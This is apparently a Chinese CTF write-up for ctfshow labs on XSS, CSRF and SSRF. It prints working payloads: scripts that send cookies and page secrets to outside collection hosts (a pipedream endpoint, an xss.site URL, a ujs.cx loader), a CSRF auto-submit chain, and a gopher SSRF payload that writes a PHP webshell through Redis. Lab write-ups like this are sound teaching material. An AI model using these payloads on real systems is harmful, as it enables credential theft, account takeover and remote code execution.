当前位置: 首页 > news >正文

渗透基础知识ctfshow——Web应用安全与防护(第六 七章)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

    • 混合型XSS
    • XSS 练习(反射型)
      • **绕过方法**
      • 新增知识:平台外带xss
    • 编码绕过XSS过滤
      • 绕过方法
    • 请求伪造漏洞_CSRF
      • 绕过方法
    • 最简单的SSRF
    • SSRF打Redis
    • 总结

混合型XSS

打开网页,可以看到如下页面:

话不多说,开启我们的闯关:

XSS 练习(反射型)

我们可以看到很普通的登录框,输入参数抓包分析一下:

输入账号密码后,提示“账号或密码错误”

然后就尝试注册了一个用户,再尝试进行登陆:

随后进入到一个新页面:


管理员审核后:

抓包分析,发现我们刚刚输入的签名“123”,成功显示在了页面上:

绕过方法

我们可以得到以下三个关键信息:

  • 输入即输出(未过滤):在请求的 URL 参数中输入了sig=123(左侧 Request 区域),服务器端接收后,没有做任何安全过滤或转义,直接把这原封不动地“反射”到了页面的 HTML 代码中(右侧 Response 区域的<p>...: 123</p>)。
  • 漏洞成因:因为服务器“盲目信任”了输入,这就意味着,如果你输入的不是普通的数字123,而是一段恶意的 JavaScript 代码(例如<script>alert('XSS')</script>),服务器同样会把它原样拼接到 HTML 中。当浏览器解析到这里时,就会当做正常代码执行。
  • 题目信息暗示:注意看图里那句“管理员会在1分钟内审核”意味着后台有一个模拟的“管理员机器人”会去访问你提交的链接。

所以这里我们尝试构造一下payload:

<script>alert('XSS')</script>

成功反弹:

这里尝试用XSS平台获取管理员的Cookie

  • webhook.site:https://webhook.site/
  • xssaq:https://xssaq.com
<script>window.location.href='https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/?cookie='+document.cookie</script># POST型外带<script>fetch('https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/',{method:'POST', body: document.documentElement.outerHTML});</script>

POST型:

可以看到都失败了;那就换个平台:


随便选择一个payload,输入到签名框里等待:

即可反弹;

随后查看内容:

这里我翻看源码,并没有找到flag,只能去网上找WP; - 原来是还少了一步;

新增知识:平台外带xss

为什么需要换平台外带?

  • 之前使用的 xss 平台虽然能通过 <script src> 上线,但它可能仅支持预定义的数据收集方式(比如自动截图、获取 Cookie 等);
    • 而无法让你自定义发送任意数据(如页面源码)
  • 因此,你需要一个完全可控的外部平台,例如 https://pipedream.com,它允许你
    • 创建一个专属的 HTTP 接收端点(Endpoint),可以查看所有传入的请求详情(包括 Headers、Body、参数)。
  • 不受数据格式限制,你可以自由地将页面源码作为 GET 参数或 POST 数据发送。
  • 实时查看日志,便于调试和提取密码。

步骤如下:
(1)在 Pipedream 上创建一个 HTTP 触发器(HTTP Endpoint),获得一个专属 URL(例如 https://eoxxxxxx.m.pipedream.net)。然后编写如下 Payload,将页面源码发送到这个 URL:

  • 需要进行登陆,并且创建+new workflow即可

(2)在弹出的选择框中,需要找到并点击 “HTTP / Webhook”。这就是你要找的“HTTP Endpoint”。


(3)随后输入一段异步 XSS 脚本(Async XSS),用于在浏览器中执行以下操作:

  • 注意在代码中,替换成自己的url
(async()=>{try{constres=awaitfetch('/profile',{credentials:'include',method:'GET'});consttxt=awaitres.text();constsecret=txt.split('id="upass"')[1].substr(48,45);constheaders=newHeaders()headers.append("Content-Type","application/json")constbody={"test":secret}constoptions={method:"POST",headers,mode:"cors",body:JSON.stringify(body),}fetch("https://eoiq59v45jb1lvw.m.pipedream.net",options)}catch(e){console.error(e);}})();

作用如下:

  1. 向 /profile 发起请求(携带 Cookie)
  2. 获取页面 HTML 源码
  3. 提取其中的密码字段(id=“upass”)
  4. 将密码通过 POST 请求发送到你的 Pipedream Webhook
  5. 成功后,你在 Pipedream 中就能看到 flag

(4)将这段代码添加进自定义模块。

(5)再次发送XSS语句,即可得到结果:

<imgsrc=xonerror=s=createElement('script');body.appendChild(s);s.src='//ujs.cx/YmU';>

随后点击按钮:


编码绕过XSS过滤

还是老样子,打开网页:

还是先注册账号,然后尝试登陆:

绕过方法

此题只过滤了script 和 \,用下面命令进行绕过,其余和上一题一样

详细步骤同上:

记得改成自己的配置代码://ujs.cx/EZW

(1)将payload进行base64编码:

# 原始payloadvar s=document.createElement('script');s.src='//ujs.cx/EZW';document.body.appendChild(s);# base64编码后cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc=# 大概形式如下<svgonload="eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc='))">

成功返回flag:

请求伪造漏洞_CSRF

同理:

正常注册用户 123/123 然后进行登陆:

增加了很多功能,可以修改密码,获取flag则需要管理员的账号密码

绕过方法

分析修改密码路由/modify

<formmethod="post"class="mt-3"><divclass="mb-3"><labelclass="form-label">用户名</label><inputclass="form-control form-control-lg bg-transparent text-light"name="username"disabledvalue="test"></div><divclass="mb-3"><labelclass="form-label">新密码</label><inputtype="password"class="form-control form-control-lg bg-transparent text-light"name="password"required><inputtype="hidden"name="csrf_token"value="3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4"></div><divclass="d-flex justify-content-between align-items-center"><buttonclass="btn btn-neon btn-lg">修改</button><aclass="text-decoration-none text-info"href="/login">已有账号?登录</a></div></form>

虽然不验证旧密码,但是新增了csrf_token验证;

XSS的利用点还在,我们首先打入xss 看下管理员访问的同源地址,否则无法进行CSRF利用(无法携带cookie)


成功拿到管理员的同源地址 端口是4476端口,也就是后续 修改密码的提交地址,应该是本地的4476端口:

尝试使用XSS来修改管理员的密码,无csrf_token,检查后端是否对token进行了验证:

// 构造表单数据 const formData=new URLSearchParams();formData.append('password','123456');fetch('http://127.0.0.1:4476/modify',{method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded',}, body: formData, credentials:'include'// 重要:自动携带Cookie}).then(response=>{}).catch(error=>{});

进行二次XSS,获取csrf_token,并发给攻击网址:

fetch('http://127.0.0.1:4476/modify',{credentials:'include'// 携带Cookie}).then(r=>r.text()).then(html=>{// 提取Token const tokenMatch=html.match(/name="csrf_token"value="([^"]*)"/);if(tokenMatch&&tokenMatch[1]){const token=tokenMatch[1];const leakUrl=`http://ctf.show.ctfer.com/?token=${token}&target=http://127.0.0.1:4476/modify`;window.location.href=leakUrl;}});

攻击网址的主要代码如下:

<formid="csrfForm"action="{{ target }}"method="POST"><inputtype="hidden"name="password"value="123456"><inputtype="hidden"name="csrf_token"value="{{ token }}"></form><script>setTimeout(()=>{document.getElementById('csrfForm').submit();},1000);</script>

调用的时候,通过GET传参后,初始化到html表单中,这样就可以在管理员无感情况下,修改管理员密码,进行二次XSS注入:

成功登陆管理员账号,使用 admin /123456来验证账号获取flag:

最简单的SSRF

直接保留地址绕过即可:

源代码如下:

<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$x=parse_url($url);if($x['scheme']==='http'||$x['scheme']==='https'){$host=$x['host'];if((strlen($host)<=5)){$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result=curl_exec($ch);curl_close($ch);echo($result);}else{die('hacker');}}else{die('hacker');}?>hacker

根据代码,直接得到flag:

SSRF打Redis

页面源代码如下:

<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result=curl_exec($ch);curl_close($ch);echo($result);?>

以下引用自Y0uhe师傅

  • 工具使用:https://github.com/tarunkant/Gopherus

直接使用工具生成payload:

python gopherus.py--exploitredis

上述字符解码后的语句为:

*1$8flushall *3$3set$11$34<?php system($_GET['cmd']);?>*4$6config$3set$3dir$13/var/www/html *4$6config$3set$10dbfilename$9shell.php *1$4save

生成字符的作用:是Redis未授权访问写入PHP一句话木马的攻击指令,用于通过SSRF漏洞在目标服务器写入webshell实现远程控制。


将生成的字符_后面的再进行一次编码:

POST传入

url=gopher://127.0.0.1:6379 /_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250D%250A%250D%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A%250D%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

shell写入的地址默认url/shell.php


成功连接并执行命令:

连接蚁剑:

成功根目录下找到flag:cat /flaaag

总结

本文围绕Web安全漏洞展开,重点分析了XSS漏洞的绕过策略与平台外带技巧,详细解析了CSRF请求伪造的防范与规避,并深入探讨了SSRF漏洞的利用场景。 针对SSRF漏洞,文章特别演示了如何利用该漏洞攻击Redis等内部组件,展示了从基础漏洞到横向移动的实战链路。

http://www.cnnetsun.cn/news/2020717.html

相关文章:

  • 【12.MyBatis源码剖析与架构实战】3.Executor源码剖析
  • Python监控文件夹变动情况_watchdog库实现文件实时审计
  • 英雄联盟国服皮肤定制终极指南:R3nzSkin技术深度解析与安全实践
  • Playwright爬虫进阶:如何用`page.route`拦截请求、模拟登录并高效监听API数据?
  • 如何在新电脑上正确运行已部署的 Django 项目
  • 如何5分钟将B站视频转为文字?bili2text开源工具完全指南
  • 数据结构学习记录:树 + 二叉树 + 堆 从原理到手撕代码
  • PCIe 6.0的Shared Flow Control到底怎么玩?用Credit Block解决Buffer管理难题
  • Dify API跨域(CORS)配置失效终极解法:从nginx proxy_pass到FastAPI middleware的4层拦截点对照表(含Docker Compose完整配置片段)
  • 别再只会用`uvm_object_utils`了!拆解宏定义,搞懂UVM工厂注册的底层逻辑
  • 手把手教你用C++实现LR(1)语法分析器(附完整代码及避坑指南)
  • 隐形Unicode技巧:新型JavaScript混淆方法被用于针对美国PAC附属机构的网络钓鱼攻击
  • 别只用来抓包了!Burp Suite的Filter、Comparer和Decoder模块,帮你高效分析漏洞与调试API
  • Codex智能编程:告别重复造轮子
  • 杰理之一拖八工具烧录介绍【篇】
  • 从Ext4迁移到Btrfs实战:我的个人服务器数据无损转换全记录与避坑指南
  • OpencvSharp 算子学习教案之 - Cv2.Erode
  • 从GDC论文到UE5蓝图:手把手实现‘惯性化’动画过渡,让你的角色动作更物理
  • QtDataVisualization实战:用C++快速打造一个可交互的3D图表演示器(附完整源码)
  • GLM-4.1V-9B-Base应用场景:在线教育题图自动解析与知识点标注
  • 从收音机到5G:三极管频率特性模型演变史,以及它为什么今天依然重要
  • 手把手复现:用Python和OpenCV一步步理解Marr视觉计算理论的“要素图”
  • 别再手动仿真了!手把手教你配置Vivado 2018.3与ModelSim SE的联合仿真环境
  • 网络‘活地图’实战:用PyHPEcw7库+D3.js打造可点击的拓扑仪表盘
  • 首文双拼的衍生版:首嵋双拼
  • Halcon灰度投影实战:用‘简单’模式搞定二维码定位,告别Blob分析的烦恼
  • 高校大学生论文查重工具全面测评
  • 英雄联盟智能工具包:League Akari 终极使用指南与实战技巧
  • 别再被CORS报错搞懵了!手把手教你用Nginx反向代理5分钟搞定前端跨域
  • DJI Osmo Nano 4/5评测:小巧便携功能强,成冒险家与vlogger新宠!